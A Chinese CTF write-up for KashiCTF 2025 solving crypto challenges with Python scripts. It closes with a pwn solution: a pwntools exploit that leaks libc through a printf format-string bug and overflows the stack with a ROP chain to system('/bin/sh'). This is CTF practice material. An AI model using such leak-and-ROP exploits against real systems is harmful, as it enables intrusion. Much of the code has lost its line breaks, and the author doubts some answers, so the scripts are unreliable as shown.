[KashiCTF 2025] Crypto/Pwn

有人问我个题，我也没弄出来。先记下。好些字不认识，不清楚哪国的。提交不了了，但环境还在。有的不清楚对不对。

Crypto

Lost Frequencies

--- .... -. --- -... .. -. .- .-. -.-- -- --- .-. ... .

把提示里01改为.-就是摩斯码：OHNOBINARYMORSE

Key Exchange

给了椭圆曲线方程p,a,b和点G以及公钥P_A=k*G，要求输入点B，用S=k*B 的S.x加密flag，显然这里把G输进去就OK了。S=P_A

MMDLX

从名字上看还以为是罗马字母转数字。提示有罗马是说caeser密码。数据很多有几M，先用caeser解一下3的时候可用base64解，然后一直base64

from base64 import *def caeser(m,off):tab1 = 'abcdefghijklmnopqrstuvwxyz'tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'return ''.join([tab1[(tab1.index(i)+off)%26] if i in tab1 else tab2[(tab2.index(i)+off)%26] if i in tab2 else i for i in m]).encode()a = open('c3_MMDLX.txt').read()
a = caeser(a,3)while b'KashiCTF' not in a:a = b64decode(a)print(a)
#b'KashiCTF{w31rd_numb3r5_4nd_c1ph3r5}'

Random-Inator

一个PRNG的算法，算法及参数不详，连接后试了20个，发现生成的数据是重复的。20次得到10个数据。然后用这10个数据爆破。key,iv都来自这10个。

'''
#PRNG是个循环,只有10个,爆破key
Doofenshmirtz Evil Incorporated!!!All right, I don't like to repeat myself here but it just happens
Anyhow, here's the encrypted message: 6be0323ac7b2f98edc19907467950a360f5fb20e6bbec54f67258f2dea1d631c0c2a516414a57f38d68a3a57890531d647c97c9c08260b026c96c339d0254068c75c5c2b82381e855d45b4c59dd20f7013432a52e07fca01e48577e266d29757
Ohh, How I love EVILPlaintext >> 
674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bcPlaintext >> 
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc......'''a = '''674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
f6a9d2852e5c9c5e249188bd32776866300a621f8aa73c2b5dc6ed18badd1d18
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
6be0323ac7b2f98edc19907467950a3662a9a95a95b21a9dfab96610734dfe0b
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
f6a9d2852e5c9c5e249188bd32776866300a621f8aa73c2b5dc6ed18badd1d18
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
7aba152e75735bc86567d804294acc82f190625d5e42abbfe06e9e472e7ff1e1
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
6be0323ac7b2f98edc19907467950a3662a9a95a95b21a9dfab96610734dfe0b
674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa'''
b = [bytes.fromhex(i[:32]) for i in a.split('\r\n')]
b = list(set(b))
ct = bytes.fromhex('6be0323ac7b2f98edc19907467950a360f5fb20e6bbec54f67258f2dea1d631c0c2a516414a57f38d68a3a57890531d647c97c9c08260b026c96c339d0254068c75c5c2b82381e855d45b4c59dd20f7013432a52e07fca01e48577e266d29757')for key in b:for iv in b:cipher = AES.new(key, AES.MODE_CBC, iv)m = cipher.decrypt(ct)if b'KashiCTF' in m:print(m)#b'lg\x82\xfc_\x94m\x8f\xa4\x8a\xeegS7a\xfbKashiCTF{Y0u_brOK3_mY_R4Nd0m_In4t0r_Curse_yOu_Perry_tH3_Pl4TYpus_uPKZo96c}\x06\x06\x06\x06\x06\x06'
#KashiCTF{Y0u_brOK3_mY_R4Nd0m_In4t0r_Curse_yOu_Perry_tH3_Pl4TYpus_uPKZo96c}

Absolutely Encrypted Shenanigans

一个魔改的AES没有解码算法，CBC格式给出key和密文求iv，这里iv是8位*2而明文头是flag头，所以可以异或得到。关键是写解码函数。

加上解码的AES.py

def xor(b1, b2):if len(b1)!=len(b2):raise ValueError("Lengths of byte strings are not equal")return bytes([b1[i]^b2[i] for i in range(len(b1))])def bytes2matrix(text):return [list(text[i:i+4]) for i in range(0, len(text), 4)]def matrix2bytes(matrix):s = b""for l in matrix:s += bytes(l)return sdef shift_rows(s):s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2] = s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3]return sdef rev_shift_rows(s):s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3] = s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2]return sxtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
rev_xtime = lambda a: (((a ^ 0x1B)>>1) | 0x80) if (a & 1) else (a >> 1)def mix_single_column(a):t = a[0] ^ a[1] ^ a[2] ^ a[3]u = a[0]a[0] ^= t ^ xtime(a[0] ^ a[1])a[1] ^= t ^ xtime(a[1] ^ a[2])a[2] ^= t ^ xtime(a[2] ^ a[3])a[3] ^= t ^ xtime(a[3] ^ u)return adef rev_mix_single_column(a):for b0 in range(256):for b1 in range(256):b23 = a[0]^b1^xtime(b0^b1)b2 = rev_xtime(a[1]^b0^b23)^b1b3 = b23^b2if a[2] == b0^b1^b3^xtime(b2^b3) and a[3] == b0^b1^b2^xtime(b3^b0):return [b0,b1,b2,b3]def mix_columns(s):for i in range(4):s[i] = mix_single_column(s[i])return sdef rev_mix_columns(s):for i in range(4):s[i] = rev_mix_single_column(s[i])return ss_box = (0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)rev_s_box = (82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101,182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121,32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125)def add_round_key(s, k):ns = []for i in range(4):ns.append([])for j in range(4):ns[i].append(s[i][j]^k[j][i])return nsdef sub_bytes(s, sbox=s_box):resmatrix = []for i in range(4):resmatrix.append([])for j in range(4):hexval=hex(s[i][j])[2:]if len(hexval)==1:a,b = 0,int(hexval,16)else:a,b = int(hexval[0],16), int(hexval[1],16)resmatrix[i].append(s_box[a*16+b])return resmatrixdef rev_sub_bytes(s):resmatrix = []for i in range(4):resmatrix.append([])for j in range(4):hexval=hex(s[i][j])[2:]if len(hexval)==1:a,b = 0,int(hexval,16)else:a,b = int(hexval[0],16), int(hexval[1],16)resmatrix[i].append(rev_s_box[a*16+b])return resmatrixN_ROUNDS = 10def expand_key(master_key):r_con = (0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,)key_columns = bytes2matrix(master_key)iteration_size = len(master_key) // 4i = 1while len(key_columns) < (N_ROUNDS + 1) * 4:word = list(key_columns[-1])if len(key_columns) % iteration_size == 0:word.append(word.pop(0))word = [s_box[b] for b in word]word[0] ^= r_con[i]i += 1elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:word = [s_box[b] for b in word]word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size]))key_columns.append(word)exkey = [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]#print(len(exkey))return exkeydef encrypt_block(key, pt_block):round_keys = expand_key(key)state = bytes2matrix(pt_block)state = add_round_key(state, round_keys[0])state = sub_bytes(state)state = shift_rows(state)for i in range(1,N_ROUNDS):state = mix_columns(state)state = add_round_key(state, round_keys[i])state = sub_bytes(state)state = shift_rows(state)state = add_round_key(state, round_keys[N_ROUNDS])ct_block = matrix2bytes(state)return ct_blockdef decrypt_block(key, pt_block):#print('blk:', pt_block)round_keys = expand_key(key)state = bytes2matrix(pt_block)state = add_round_key(state, round_keys[N_ROUNDS])for i in range(N_ROUNDS-1,0,-1):state = rev_shift_rows(state)state = rev_sub_bytes(state)state = add_round_key(state, round_keys[i])state = rev_mix_columns(state)state = rev_shift_rows(state)state = rev_sub_bytes(state)state = add_round_key(state, round_keys[0])ct_block = matrix2bytes(state)return ct_blockdef encrypt(key, plaintext, mode="ECB", iv=None):if len(plaintext)%16 != 0:raise ValueError("Invalid Plaintext")elif len(key)!=16:raise ValueError("Invalid Key")ciphertext = b""if mode=="ECB":for i in range(0, len(plaintext), 16):ciphertext += encrypt_block(key, plaintext[i: i+16])elif mode=="CBC":if (iv==None or len(iv)!=16):raise ValueError("Invalid IV")ciphertext += ivfor i in range(0, len(plaintext), 16):ciphertext += encrypt_block(key, xor(ciphertext[i: i+16], plaintext[i: i+16]))return ciphertext[16:]def decrypt(key, plaintext, iv=None):iv = b'\0'*16ciphertext = b''for i in range(0, len(plaintext), 16):ciphertext += xor(iv,decrypt_block(key, plaintext[i: i+16]))iv = plaintext[i:i+16]return ciphertextdef pad(text, blocksize):padding_len = blocksize - (len(text)%blocksize)padding = bytes([padding_len])*padding_lenreturn text+padding

from AES import *
from pwn import remote,context as ctx
import json
ctx.log_level = 'debug'p = remote('kashictf.iitbhucybersec.in', 50482)for i in range(10):ct = json.loads(p.recvline().decode().strip())m = decrypt(bytes.fromhex(ct['key']), bytes.fromhex(ct['ciphertext']), b'\0'*16)iv = xor(m[:8], b'KashiCTF')*2p.sendline(iv.hex().encode())p.recvline()ct = json.loads(p.recvline().decode().strip())
m = decrypt(bytes.fromhex(ct['key']), bytes.fromhex(ct['ciphertext']), b'\0'*16)
iv = xor(m[:8], b'KashiCTF')*2
print(xor(iv, m[:16])+ m[16:])
print()p.interactive()#KashiCTF{AES_Unbr34KAbl3_but_t0T4lly_br3Akable_mAyb3_1lOfUiUR}

PWN

TheTrollZone

先有个printf漏洞得到libc，再溢出写ROP

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')p = remote('kashictf.iitbhucybersec.in', 64932)p.sendlineafter(b"What do you want? ", b'%17$p ')
p.recvuntil(b"Lmao not giving you ")
libc.address = int(p.recvuntil(b' '), 16) - 0x2724apop_rdi = libc.address + 0x00000000000277e5 # pop rdi ; retp.sendlineafter(b"Wanna Cry about that? ", b'\0'*0x28+flat(pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh\0')) ,libc.sym['system']))p.interactive()
#KashiCTF{did_some_trolling_right_there_OschnziH}